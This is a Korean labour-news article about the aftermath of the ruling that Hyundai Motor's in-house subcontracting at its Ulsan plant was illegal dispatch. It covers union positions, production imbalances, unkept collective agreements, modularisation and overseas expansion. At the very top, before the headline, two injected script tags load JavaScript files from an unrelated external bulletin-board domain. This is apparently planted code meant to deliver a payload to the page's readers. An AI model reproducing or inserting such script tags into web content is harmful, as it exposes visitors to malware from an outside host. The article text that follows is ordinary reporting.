<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> ‘원칙’과 ‘현실’ 사이, 그 넓고도 깊은
\'불법파견 판정 그 후\' 현대차 울산공장①…정규직 노동자들의 현실과 고민
고용불안과 차별해소를 외치는 적지 않은 비정규노동자들의 절박한 외침들이 이어졌지만, 지난해 9월은 우리 사회의 모순을 오롯이 안고 있는 비정규직 문제를 둘러싼 대지각변동을 구체화한 시점이다. 정부의 비정규법안이 세상에 모습을 드러냈고 현대자동차 울산, 아산, 전주공장 전 하청업체 불법파견이라는 서곡이 시작된 즈음이기 때문이다. 현재 정부 비정규법안은 2월 임시국회 처리도 유보된 채 또 오는 4월을 기다리고 있지만, 국내 굴지의 현대자동차 불법파견 판정을 둘러싼 노동자들의 투쟁은 쉼없이 계속되고 있다. 어쩌면, 노동계는 물론 학계로부터도 \'외면\'받고 있는 비정규법안이 정말 \'비정규 보호법\'으로서 제기능을 하기를 기대하기보다 1만여개 직무에 대한 \'불법파견\' 판정 이후 사내하청이라는 간접고용 형태를 어떻게 바로잡아나갈지가 더 현실적인 과제일지 모른다. <매일노동뉴스>가 울산 현대자동차를 찾았다. 이틀에 걸쳐 \'불법파견 판정 이후\' 모색가능한 해법들을 고민해 본다. <편집자주>
기상관측 이래 사상 최고치였다는 폭설이 잦아든 울산, 그 곳에선 ‘봄’을 찾을 수 있을까? 정규직노조·비정규직노조의 ‘불법파견 정규직화’ 요구와 회사의 ‘공정 완전도급 전환’이라는 주장 사이의 간극을 메울 ‘답’을 얻어갈 수 있을까?
울산행을 준비하면서 품었던, 아니 지난해 9월부터 12월까지 노동부가 현대자동차 울산, 아산, 전주공장 127개 업체 9,234개 비정규직 직무에 대해 도급을 위장한 불법파견 판정을 내린 뒤부터 머리 속을 떠나지 않았던 물음이었다.
한겨울 농성장 단전단수, 비정규노동자의 분신기도, 웃옷마저 벗어던진 채 회사 관리자들에게 항의하는 여성노동자…. 기자가 몸을 실었던 ‘역방향’의 고속철(KTX)처럼 마치 시간을 60, 70년대로 돌려버린 듯한 비정규직의 현실과 ‘불법’이라는 행정부의 지침에도 눈 하나 꿈쩍하지 않고 ‘버티’면서 해외로, 해외로 뻗어가는 자본의 미래가 공존하는 울산에서, 해법을 구하기란 시작부터 쉽지 않았다.
‘공정 완전도급 전환’ 가능한가?
먼저 확인하고 싶었던 것은 컨베어시스템으로 운용되는 자동차 공장에서 회사가 주장하는 ‘공정의 완전도급 전환’이 가능한지 여부였다. 결론부터 말하면 ‘어렵다’는 것이다.
기자가 울산을 찾았던 지난 9일, 현대차비정규직노조 오민규 교육선전위원은 회사쪽의 ‘5공장 공정 완전도급 전환’ 시도에 대한 얘기부터 들려주었다.
비정규직노조가 파악한 바에 따르면, 회사는 테라칸을 생산하는 51라인에서 일하는 정규직을 투산을 생산하는 52라인으로 전환배치하고, 반대로 52라인의 비정규직을 51라인으로 배치한 뒤, 51라인을 멀티라인(플랫폼 통합을 통한 어떤 차도 생산 가능한 라인)으로 개조할 시도를 하고 있다는 것이다. 결국 5공장 내에서 정규직, 비정규직 혼성작업 등에 따른 불법파견 소지를 없애는 한편 정규직들이 파업을 해도 ‘멀티라인’을 통한 다른 차종생산을 가능하게 함으로써 파업의 효과마저 감소시키려는 시도라는 설명이다.
하지만 오민규 위원은 52라인에 근골격계 질환자가 발생하는 등 정규직들이 꺼리는 공정도 적지 않은 데다 특히 전환배치에 대해서는 정규직노조와 협의해야 하기 때문에 이 같은 방식의 공정 합법도급(블록화) 가능성은 지극히 낮은 것으로 평가하면서도 긴장을 늦추진 않았다.
정규직노조 역시 공정 블록화는 현실적으로 어렵다고 설명했다. 현대차노조 김태곤 수석부위원장은 “한 공정이 끝나고 정지한 뒤 다른 공정으로 가는 셔틀방식이면 몰라도 컨베어시스템상 라인 내에서 블록화를 추진하긴 어렵다”면서 “또한 이 과정에서 정규직들의 전환배치가 수반되는데, 우리가 불법파견을 정당화해주는 방식으로 합의를 할 수는 없다”고 잘라 말했다.
ⓒ 매일노동뉴스
이에 회사쪽 관계자는 여전히 노동부의 ‘불법파견 판정’을 수용할 수 없다는 입장을 강변하면서도 블록화는 정규직노조와 협의 등의 문제로 쉽지는 않을 것이라고 말했다. 김성용 협력지원팀장(이사대우)은 “노동부가 불법파견이라고 판정한 핵심 근거는 정규직과 사내하청이 뒤섞인 혼성작업이라는 점”이라며 “유사공정을 묶는 등 공정의 순서를 바꾸는 방식으로 일정 부분을 블록화 할 수 있지만 이때 자연 노사협의가 필요한 정규직의 전환배치가 수반된다”고 말했다. 즉 일방적으로 블록화를 추진하기는 어렵다는 점을 시사한 셈이다.
그런데 지금 현대자동차에서는 불법파견 혐의를 씻어내기 위한 블록화 문제도 있지만 시급하게 사업부별 물량 차이에 따른 시간당생산량(UPH·Unit Per Hour) 조정, 이와 맞물린 전환배치 등의 문제도 있다.
회사는 5공장 투산 52라인의 생산량을 5 UPH 올리는 대신 테라칸 51라인을 3 UPH 낮추려 하고 있다. 이 때 51라인에서 발생하는 여유인력은 270여명인데 비해 52라인에 신규로 필요한 인원은 40여명이어서 230여명이 고스란히 남게 된다. 물론 이는 정규직만 따진 수치다. 현대차노조에 따르면, 회사는 비정규직의 직무를 정규직화하고 여기에 230여명을 투입하려는 계획인데, 당장 그 공정을 맡아온 비정규직들에 대한 대책은 없는 상황이다. 현대차노조 이상욱 위원장은 “충분히 협의를 통해 해결할 수 있을 것”이라고 자신감을 내비쳤지만 뾰족한 방안은 얘기하지 않았다. 5공장만의 문제로만 풀 수 없는 과제였기 때문일까?
사업부별 물량, 넘치고 모자라고
울산에 내려간 첫 날 저녁에 만난 한 정규직 활동가는 “마침 오늘(9일)부터 휴가”라고 했다. 그가 속한 4공장 주간조 라인 노동자 1,300여명은 이날부터 한꺼번에 임시휴가에 들어갔다. 4공장은 스타렉스와 포터를 생산하는 곳인데, 내수부진 등으로 생산물량을 확보하지 못해 이달 말까지 주간조는 휴가에 들어가기로 했다. 휴가 간 주간조 대신 야간조는 2시간 잔업 없이 8시간 정상조업을 하고 있다.
현대자동차는 지난해 전체 매출액과 당기순이익이 전년과 견줘 각 10%, 2% 늘어난 27조5천억원, 1조7천억원을 기록했고, 국내생산 자동차 판매 역시 167만8천대로 1.9% 증가했는데, ‘물량을 확보하지 못해’ 한 달 가까이나 휴가라니…. 선뜻 이해가 되지 않았다.
믿기지 않는 현실은 4공장뿐이 아니었다. 5공장의 테라칸 51라인도 물량이 없어 주간조가 잔업 없이 6시간만 근무하고 나머지 2시간은 교육을 받고 있었다. 경기침체와 승합차의 자동차세 인상 등의 영향이었다. 내수위주인 에쿠스 라인 역시 수입차와 체어맨 등에 밀려 판매가 부진해 UPH를 낮추면서 비정규직의 전환배치까지 시도했고, 거의 지난 1년 동안 잔업이나 특근 한번 한 적 없이 버텨오고 있었다.
그러나 같은 공장 안에서도 물량이 넘치는 곳은 있다. 주로 내수를 담당하는 1공장 클릭, 3공장 아반테, 5공장 투산 등에서는 잔업과 특근을 밥 먹듯이 하고 있다. 현대차노조 한 관계자는 물량 넘치는 사업부에서는 한 달에 특근이 7~8개나 된다고 귀띔한다. 이처럼 차종에 따라 시장환경이 좋은 경우와 그렇지 않은 경우 등 내부 불균형도 심각한 상황이다.
그럼에도 사업부별 물량이전이나 전환배치 등 같은 정규직 조합원들 간 부익부빈익빈 현상을 해소하려는 시도는 왜 가시화되지 않는 걸까?
“조합원 의식이 상당히 바뀌었다. 정리해고(98년)를 겪으면서 설문조사를 해보면, 노조의 핵심과제 1순위로 고용안정을 꼽는다. 그런데 노조가 자신들 비전을 얘기 안 해주니까 노조에 대한 기대보다는 ‘언제 짤릴지 모르니 돈벌이가 될 때 쎄빠지게 벌자’는 위기감이 항상 존재하는 거다.” 민주노동자회 박유기 사무장 말이다.
하지만 같은 공장 노동자이면서 누구는 한 달 가까이 휴가를 가야 하고, 누구는 한 달 내내 잔업, 특근을 하며 호주머니를 챙기는 현실은 어떤 말로도 이해가 안 간다.
이에 대해 현대차노조 이상욱 위원장은 “다른 차종을 넣든 신차종을 넣든 해서 사업부별 불균형을 바로잡을 생각”이라며 “생산계획, 생산단계, 판매까지 염두에 두고 기준을 잡아야 한다”고 말했다. 다만 이 위원장은 ‘불균형 시정’이 단순히 물량이 넘치는 곳에서 물량을 빼는 방식, 즉 상대적으로 기득권이 있는 조합원들에게 박탈감을 주는 방식이 돼서는 곤란하며 총량고용보장 차원에서 조심스럽게 접근돼야 할 것이라고 덧붙였다.
이런 가운데 미국, 중국, 인도, 터키 등 해외 공장은 해를 거듭할수록 생산량을 늘리고 있다. 현재 15만대 생산규모인 미국 앨라바마 공장은 내년 30만대까지 늘릴 예정이고, 중국 베이징 공장은 올 30만대에서 2007년 60만대 생산을 목표로 하고 있다. 지난해 25만대를 생산한 인도 첸나이 공장은 2007년까지 40만대, 현재 6만대 규모인 터키 공장은 올 11월까지 연산 30만대 규모의 자동차 모듈공장을 짓기로 하는 등 확장추세다.
박유기 민노회 사무장은 “활동가들 사이에서는 해외공장의 현지 대응력이 높아지면 현재 70%대 수준인 국내 공장의 수출비율을 점차 낮출 수밖에 없고 이는 자연 국내생산 축소로 이어져 2~3년이 지나면 국내공장 축소문제가 실제 본격화될 거라고 본다”고 말했다.
결국 자본은 비정규직은 물론 정규직 고용을 직접 위협하는 방향으로 가고 있는 셈이다.
합의와 번복, 그리고 모듈화
하지만 이에 대한 노조의 대응은 안타까울 정도로 속수무책이다. 단체협약을 포함, 각종 노사합의서마저 지켜지지 않고 있다.
현행 단체협약에서는 ‘회사는 국내 자동차산업의 공동화 방지와 종업원들의 고용보장, 임금보장을 위해 국내공장의 생산물량을 2003년 수준(180만대)으로 유지할 것’을 명시하고 있지만 이미 생산물량은 지난해 167만4천대로 축소됐다. 또한 ‘회사는 국내 공장에서 생산하는 완성차 및 부품(엔진, 변속기)은 해외 현지공장으로부터 수입하지 않는 것을 원칙으로 한다’고 했지만 지난해 인도공장으로부터 클릭용 입실론 엔진 3천개를 역수입한 상태다.
또한 주간조가 휴가에 들어간 4공장 노사는 지난해 6월, 소형버스 부문의 장기적인 물량확보와 고용안정 차원에서 올 초부터 터키공장에서 생산되고 있는 유럽 수출용 스타렉스 전량(1만여대)을 이관, 생산키로 합의했지만 회사는 이를 지키지 않았고, 5공장 노사의 사내모듈공장 설립 합의서 역시 지켜지지 않고 있다.
단협 및 합의서 불이행에 대한 노조의 적극적인 대응을 촉구해 온 각 현장조직들은 지난 2월 정기대의원대회에서 제기된 해외공장 저지와 물량나누기 대책위 구성건에 대한 진지한 검토와 계획을 세울 것을 촉구하면서 국내생산의 변동과 함께 해외공장 투입물량을 조절하는 구조를 만들어야 한다고 주장하고 있다.
그러나 이상욱 위원장은 고민에, 또 고민이다. “합의사항을 지키려고 노조는 계속 노력하고 있다. 하지만 합의사항 이행여부도 생산-수요문제와 결부돼 있다. 예를 들어 입실론 엔진 역수입 문제를 보자. 단협상 역수입하지 않는 것을 원칙으로 한다고 돼 있다. 원칙이란 것은 불가피한 경우 협의가 가능하다는 뜻인데, 조합원들은 수입하는 것 자체가 단협 위반이라고 한다. 그런데 차가 팔리든 말든 단협만 지키는 게 노조가 할 일인가. 단협도 중요하지만 당장의 고용을 지키는 게 더 중요하지 않은가.”
실제 유럽 수출 증대로 추가물량이 요구되는 모닝(기아차) 엔진을 추가로 생산한 만큼, 그 만큼 부족해진 클릭(현대차)용 입실론 엔진 3천개를 인도공장에서 들여온 것인데, 단협을 엄격히 해석해서 3천대를 생산하지 말자는 주장을 해서는 안 된다는 것이다. 3천대만큼의 고용을 도외시할 수 없다는 말이다.
이와 함께 단협에는 ‘회사는 세계경제의 불황 등으로 국내외 자동차시장에서 판매부진이 계속돼 공장폐쇄가 불가피할 경우 해외공장의 우선 폐쇄를 원칙으로 한다’고 돼 있다. 하지만 점차 내수가 차지하는 비중이 떨어질 가능성이 있고, 해외공장은 해를 갈수록 괄목상대한 성장을 해 나가는 상황에서 이 조항의 실효성을 어느 정도 담보할 수 있을지도 의문이다.
▲ 현대차 노조가 입주해 있는 건물. ⓒ 매일노동뉴스
이와 함께 주요 핵심 기능을 표준화시켜 필요한 기능부분을 미리 조합해 최종 조립과정을 간편하게 만드는 모듈(module)화의 진척 역시 고용불안과 노동강도 강화를 초래할 수 있다는 점에서 시급히 대책마련이 요구된다. 지금도 회사는 중간 조립단계인 모듈을 바깥(사외)으로 빼내고 있고, 모듈화에 따른 완성차 조립 공정의 공정수 감소를 초래하고 있다. 현대차노조는 “자동화를 증대시켜 작업에 필요한 인원을 감소시킬 뿐 아니라 사외에서 품질테스트까지 하고 들어옴으로써 그것과 연동돼 있는 간접부서 일자리 또한 감소할 수밖에 없는 상태”라며 “일자리가 없어지는 상태에서 생산량을 늘리니 UPH는 상승하고 이는 결국 노동강도 강화로 이어지게 된다”고 우려하고 있다.
그런데 지난달 24일 발간된 현차노조신문에 따르면, 지난해까지 이미 투산 36%, NF 36.5%, MC 35% 등이 모듈율 36%를 달성했다. 올해 2공장에 도입예정인 신차 CM은 37.4%를 계획하고 있고, 아산에 투입예정인 TC는 36%를 계획하고 협상 중이다.
문제는 모듈로 이뤄지는 외주화가 이미 심각한 수준이라는 데 있다. 모듈율에 일관된 기준이 없고 회사 입맛대로 모듈율이 정해지다보니 현장에서 각기 적용되고 있으며 이로 인해 사업부별 대응 또한 천차만별로 이뤄지고 있다.
스스로 잡은 발목 … 16.9%, 40%
이 뿐 아니다. 노조가 스스로 발목을 잡는 상황도 연출되고 있다.
현대차노조는 지난 2000년 6월, 직접 생산라인 내 사내하청 투입을 16.9%까지 합법적으로 보장해 주는 내용의 ‘완전고용보장합의서’를 체결했다. 98년 정리해고 악몽이 채 가시지 않은 상황에서 회사가 무분별한 하청 투입을 실시한 데다, 현장에서는 노조도 모르게 사업부별 대의원들이 고용조정시 1차 대상이 될 하청 투입에 합의하는 사례가 빈발하면서 ‘가이드라인’을 정해야겠다는 판단에서였다. 하지만 결과는 제어하기 어려울 정도의 무절제한 사내하청 투입으로 나타났다. 결국 이 합의를 했던 정갑득 위원장을 포함한 전현직 노조위원장들은 지난 1월 “사내하청 16.9% 비율을 정하도록 합의한 것은 잘못된 관행”이었다며 “그동안 불법파견 문제를 근본적으로 저지하지 못하고 때로는 방치하고 때로는 부분적인 합의를 해준 사실을 국민 앞에 고백하고 깊이 반성한다”고 밝혔다.
▲ 지난 18일부터 5공장 현대차 비정규직 노동자들이 불법파견 정규직화를 촉구하며 농성을 하고 있다. ⓒ 매일노동뉴스
비단 합의 자체에 대한 반성만은 아니다. 현대차노조 김태곤 수석부위원장은 “만약 합의를 하지 않았더라도 하청은 늘어났을 것이다. 이는 공동의 책임이다. 16.9% 강제를 위한 제도적 장치가 있었어야 했는데…”라며 합의 자체보다 이를 지켜내기 위해 노조가 제대로 견제, 감시하지 못했던 부분을 아쉬워했다.
40%의 문제도 있다. 2003년 현대차 노사는 직영인원 충원시 인원의 40%를 사내하청노동자로 채우도록 합의했다. 당시 노조 사무국장이었던 민노회 박유기 사무장은 “신규 채용의 일정규모를 사내하청으로 채용토록 해 ‘하청의 정규직화’라는 긍정성이 없지 않지만 제도운용 과정에서 하청업체 사장들에게 추천권을 부여하는 등 특권을 줌으로써 본 취지를 상실했다”며 “제도를 보완하든지, 아니면 차라리 폐기하는 게 낫다”고 말했다.
현재 노조 입장도 크게 다르지 않다. 현대차노조 서동식 조직강화팀장은 “업체 사장 추천권을 없애는 등 제도보완은 추진했지만 (40% 할당이) 근본적인 차별해소 방안이 아닌데다 40%에 포함되고 싶은 하청노동자들의 정당한 노동기본권 행사마저 위축시키는 결과를 낳기도 했다”고 지적했다.
이런 가운데 현대차비정규직노조(위원장 직무대행 조가영)는 지난 1월18일부터 시작한 파업과 80여명의 조합원이 함께 하는 5공장 탈의실 점거농성을 두달 가까이 이어가고 있다. 농성자 전원 해고와 폭행, 집회금지가처분, 안기호 위원장 공장 내에서의 체포·구속 등에 시달리면서도 농성과 파업을 이어갈 계획이다. 또한 정규직노조와 함께 꾸린 원하청 연대회의를 통해 이번 투쟁의 목표와 구체적인 전술을 마련, 올 임단투와 맞물린 사업을 펼쳐나갈 방침이다.
궁극적인 목표는 불법파견 정규직화와 차별철폐, 그리고 조직화이다. 하지만 지금도 논란이 되고 있는 사업부별 물량부족 또는 과잉, 합의사항 미이행, 가속화되는 모듈화, 해외공장 생산량 확대 등은 과연 이들이 내건 ‘목표’를 달성하기까지 난관을 예상케 한다. ‘불법파견 정규직화’라는 원칙과 시장의 역동성을 내재한 자본의 움직임이라는 현실 사이에 놓인 깊고도 넓은 \'그 사이\'를 어떻게 좁혀낼 것인가.
이정희 기자
goforit@labortoday.co.kr
